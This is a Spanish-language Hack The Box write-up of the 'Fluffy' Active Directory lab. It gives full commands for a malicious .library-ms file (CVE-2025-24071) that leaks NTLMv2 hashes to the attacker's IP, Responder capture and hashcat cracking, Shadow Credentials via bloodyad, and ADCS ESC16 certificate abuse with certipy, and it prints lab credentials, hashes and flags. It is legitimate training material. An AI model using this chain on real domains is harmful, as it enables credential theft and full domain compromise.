Fluffy
Hack The Box — Metodología Detallada
Fluffy
| IP: | 10.129.232.88 |
| OS: | Windows Server 2019 |
| Dificultad: | Easy |
| Categoría: | Active Directory |
| Fecha: | 31 Ago 2026 |
Reconocimiento
Escaneo inicial de puertos
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.232.88 -oG allPorts
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5986/tcp open wsmans
9389/tcp open adws
La presencia de los puertos 88 (Kerberos), 389 (LDAP) y 3268 (Global Catalog) confirma que el objetivo es un Domain Controller. El puerto 5986 (WinRM sobre HTTPS) esta abierto como vector de acceso remoto. SMB signing requerido descarta ataques de NTLM Relay directos.
Escaneo de versiones
PORT STATE SERVICE
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
389/tcp open ldap Microsoft Windows AD LDAP (Domain: fluffy.htb)
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl
3268/tcp open ldap Microsoft Windows AD LDAP (Domain: fluffy.htb)
3269/tcp open globalcatLDAPssl
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC01; OS: Windows Server 2019
El escaneo de versiones confirmo el dominio
fluffy.htb y el hostname DC01. Sistema operativo: Windows Server 2019 Build 17763. Se agrego fluffy.htb y DC01.fluffy.htb al /etc/hosts.Enumeración
Enumeración SMB con credenciales iniciales
La maquina proporciona credenciales iniciales:
j.fleischman:J0elTHEM4n1990!. Se procedio a enumerar shares SMB para identificar recursos accesibles.netexec smb 10.129.232.88 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --shares
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
IT Disk READ,WRITE
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
El share IT tiene permisos de lectura y escritura para
j.fleischman. Esto es relevante — tener escritura en un share compartido permite subir archivos maliciosos que pueden ser ejecutados o procesados por otros usuarios del dominio.Enumeración del share IT
smbclient //10.129.232.88/IT -U 'j.fleischman%J0elTHEM4n1990!'
Dev D 0 Mon Oct 25 19:40:06 2021
Everything-1.4.1.1026.x64 D
Everything-1.4.1.1026.x64.zip A 1827464
KeePass-2.58 D
KeePass-2.58.zip A 3225346
Upgrade_Notice.pdf A 169963
Se encontraron tres recursos: el gestor de contrasenas KeePass 2.58, la herramienta de busqueda Everything 1.4.1.1026 y el PDF Upgrade_Notice.pdf. El PDF revela CVEs criticos pendientes de parche, entre ellos CVE-2025-24071.
Analisis del PDF — CVEs pendientes
pdftotext Upgrade_Notice.pdf -
CVE ID Severity
CVE-2025-24071 Critical
CVE-2025-24996 Critical
CVE-2025-46785 High
CVE-2025-29968 High
CVE-2025-21193 Medium
CVE-2025-3445 Low
CVE-2025-24071 es una vulnerabilidad critica en Windows File Explorer. Al abrir o extraer un archivo ZIP que contiene un
.library-ms malicioso, el Explorer intenta conectarse automaticamente a una ruta SMB embebida en el archivo. Esta conexion envia el hash NTLMv2 del usuario al atacante sin interaccion adicional. El share IT tiene permisos de escritura, lo que permite subir el archivo malicioso.Explotación
CVE-2025-24071 — NTLM Hash Stealing
Se creo un archivo
.library-ms malicioso que apunta a la IP del atacante via SMB. Al ser subido al share IT y abierto por algun usuario del dominio, el Explorer enviara automaticamente su hash NTLMv2.Creacion del archivo malicioso
cat > exploit.library-ms << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription
xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>\\10.10.15.225\share</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
EOF
smbclient //10.129.232.88/IT \
-U 'j.fleischman%J0elTHEM4n1990!' \
-c 'put exploit.library-ms'
Captura del hash con Responder
sudo responder -I tun0 -v
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash : p.agila::FLUFFY:6df089a883f48c87:
A96E7AEE2C2F56E9CF63AE62AECD0896:[...hash truncado...]
El primer intento de crackeo fallo porque el hash se guardo con formato incorrecto en el archivo. Se copio el hash directamente con
echo y se reintento.hashcat -m 5600 hash.txt rockyou.txt
P.AGILA::FLUFFY:[...hash truncado...]:prometheusx-303
Status: Cracked
Hash.Mode: 5600 (NetNTLMv2)
Vector confirmado: Hash NTLMv2 de
p.agila crackeado. Credencial: p.agila: prometheusx-303.Acceso inicial via WinRM como p.agila
evil-winrm -i 10.129.232.88 -u p.agila -p 'prometheusx-303'
*Evil-WinRM* PS C:\Users\p.agila\Documents>
Vector confirmado: Acceso obtenido como
p.agila via WinRM. Se procede a recolectar el grafo del dominio con BloodHound para identificar rutas de escalada.Escalada de Privilegios
Analisis de BloodHound — p.agila
Con credenciales de
p.agila se recolecto el grafo del dominio con BloodHound para identificar rutas de escalada.bloodhound-python -u p.agila -p 'prometheusx-303' \
-dc DC01.fluffy.htb -d fluffy.htb -c All \
-ns 10.129.232.88
La cadena de escalada es:
p.agila → MemberOf → SERVICE ACCOUNT MANAGERS → GenericAll → SERVICE ACCOUNTS → GenericWrite → ca_svc, ldap_svc, winrm_svc. El objetivo inmediato es winrm_svc para obtener acceso WinRM, y luego ca_svc para abusar de ADCS.Shadow Credentials sobre winrm_svc
Con GenericWrite sobre
winrm_svc es posible inyectar Shadow Credentials en el atributo msDS-KeyCredentialLink, lo que permite obtener el hash NT del usuario sin conocer su contrasena. Para heredar el GenericWrite, p.agila debe ser miembro de SERVICE ACCOUNTS.# Agregarse a SERVICE ACCOUNTS
bloodyad -d fluffy.htb -i 10.129.232.88 \
-u p.agila -p 'prometheusx-303' -H DC01.fluffy.htb \
add groupMember 'SERVICE ACCOUNTS' p.agila
[+] p.agila added to SERVICE ACCOUNTS
# Shadow Credentials sobre winrm_svc
bloodyad -d fluffy.htb -i 10.129.232.88 \
-u p.agila -p 'prometheusx-303' -H DC01.fluffy.htb \
add shadowCredentials winrm_svc
[+] TGT stored in ccache file winrm_svc_mq.ccache
NT: 33bd09dcd697600edf6b3a7af4875767
La maquina tiene un script de limpieza que resetea los cambios periodicamente. Si el Shadow Credentials falla con
insufficientAccessRights, es porque p.agila fue removido del grupo. Se ejecutan los dos comandos en rapida sucesion para evitar el problema.evil-winrm -i 10.129.232.88 -u winrm_svc \
-H 33bd09dcd697600edf6b3a7af4875767
*Evil-WinRM* PS C:\Users\winrm_svc\Desktop> type user.txt
72995b61b9ea7c867609b3b25d8c931b
Vector confirmado: Acceso obtenido como
winrm_svc via Pass-the-Hash. Flag de usuario: 72995b61**...**8c931b.Shadow Credentials sobre ca_svc
Con el mismo vector, se obtiene el hash NT de
ca_svc para abusar de ADCS. ca_svc pertenece al grupo Cert Publishers que tiene permisos de enrollment sobre la CA.bloodyad -d fluffy.htb -i 10.129.232.88 \
-u p.agila -p 'prometheusx-303' -H DC01.fluffy.htb \
add groupMember 'SERVICE ACCOUNTS' p.agila && \
bloodyad -d fluffy.htb -i 10.129.232.88 \
-u p.agila -p 'prometheusx-303' -H DC01.fluffy.htb \
add shadowCredentials ca_svc
[+] TGT stored in ccache file ca_svc_iO.ccache
NT: ca0f4f9e9eb8a092addf53bb03fc98c8
ESC16 — Security Extension deshabilitada
Con credenciales de
ca_svc se enumero ADCS. La CA tiene ESC16 (Security Extension deshabilitada), lo que significa que los certificados emitidos no incluyen la extension que vincula el certificado a la cuenta solicitante. El DC determina la identidad solo por el UPN del certificado, igual que ESC9. Al cambiar el UPN de ca_svc a [email protected] y solicitar un certificado, el DC lo emite como si fuera del Administrator.certipy find -u [email protected] \
-hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 \
-dc-ip 10.129.232.88 -vulnerable -stdout
[!] Vulnerabilities
ESC16 : Security Extension is disabled.
Explotacion ESC16
# Paso 1 - Leer UPN original de ca_svc
certipy account read -u [email protected] \
-hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 \
-user ca_svc -dc-ip 10.129.232.88
userPrincipalName : [email protected]
# Paso 2 - Cambiar UPN a Administrator
certipy account update -u [email protected] \
-hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 \
-user ca_svc -upn [email protected] \
-dc-ip 10.129.232.88
[*] Successfully updated 'ca_svc'
userPrincipalName : [email protected]
# Paso 3 - Solicitar certificado como ca_svc
certipy req -u [email protected] \
-hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 \
-ca fluffy-DC01-CA -template User \
-target-ip 10.129.232.88
[*] Got certificate with UPN '[email protected]'
[*] Wrote certificate and private key to 'administrator.pfx'
# Paso 4 - Restaurar UPN original
certipy account update -u [email protected] \
-hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 \
-user ca_svc -upn [email protected] \
-dc-ip 10.129.232.88
[*] Successfully updated 'ca_svc'
# Paso 5 - Autenticarse y obtener hash NT
certipy auth -pfx administrator.pfx -dc-ip 10.129.232.88
[*] Got hash for '[email protected]':
aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e
Acceso como Administrator
evil-winrm -i 10.129.232.88 -u administrator \
-H 8da83a3fa618b6e3a00e93f676c92a6e
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
dd46ec385bc40c320dad23525746ad4d
Vector confirmado: Acceso obtenido como
Administrator via Pass-the-Hash. Flag de root: dd46ec38**...**746ad4d. El dominio fluffy.htb ha sido completamente comprometido.Reflexión Final
Qué salió bien
-
La identificacion del CVE-2025-24071 fue directa a partir del PDF encontrado en el share IT. El PDF era una pista explicita de la ruta de ataque.
-
La creacion del archivo
.library-msmalicioso y la captura del hash NTLMv2 con Responder funcionaron en el primer intento. -
El analisis de BloodHound revelo la cadena completa de ACLs de forma clara: p.agila → SERVICE ACCOUNT MANAGERS → SERVICE ACCOUNTS → winrm_svc y ca_svc.
-
El flujo ESC16 fue ejecutado limpiamente una vez identificada la vulnerabilidad en la CA.
Qué salió mal
-
El hash NTLMv2 del primer intento de crackeo tenia formato incorrecto porque se guardo el archivo con caracteres extra. Fue necesario usar
echopara guardar el hash correctamente. -
La maquina tiene un script de limpieza que remueve a
p.agiladel grupo SERVICE ACCOUNTS periodicamente, lo que obligo a repetir el paso varias veces y a encadenar los comandos con&¶ ejecutarlos en rapida sucesion. -
El primer intento de Shadow Credentials fallo porque
p.agilano estaba en SERVICE ACCOUNTS — se agrego al grupo equivocado (SERVICE ACCOUNT MANAGERS en lugar de SERVICE ACCOUNTS). -
La solicitud del certificado ESC16 fallo con RPC timeout al usar
-target DC01.fluffy.htb. Se resolvio usando-target-ipdirectamente.
Lecciones aprendidas
-
CVE-2025-24071 — NTLM Hash Stealing via .library-ms: Windows File Explorer procesa automaticamente archivos
.library-msdentro de ZIPs o carpetas. Al embeber una ruta SMB maliciosa, el sistema intenta conectarse y envia el hash NTLMv2 sin interaccion del usuario. Cualquier share con escritura es un vector para este ataque. -
ESC16 es similar a ESC9: ambas explotan la ausencia de la Security Extension en los certificados. El DC solo verifica el UPN del certificado, no la cuenta que lo solicito. Cambiar el UPN antes de solicitar el certificado permite suplantar cualquier usuario del dominio.
-
Scripts de limpieza en HTB: algunas maquinas resetean cambios de ACLs periodicamente para proteger la experiencia de otros jugadores. Encadenar los comandos con
&&o ejecutarlos en rapida sucesion es la solucion cuando los cambios no persisten. -
La diferencia entre SERVICE ACCOUNT MANAGERS y SERVICE ACCOUNTS es critica — el primero gestiona el segundo, pero el GenericWrite util esta en el segundo, no en el primero.
Tiempo total
Aproximadamente 1 hora 10 minutos.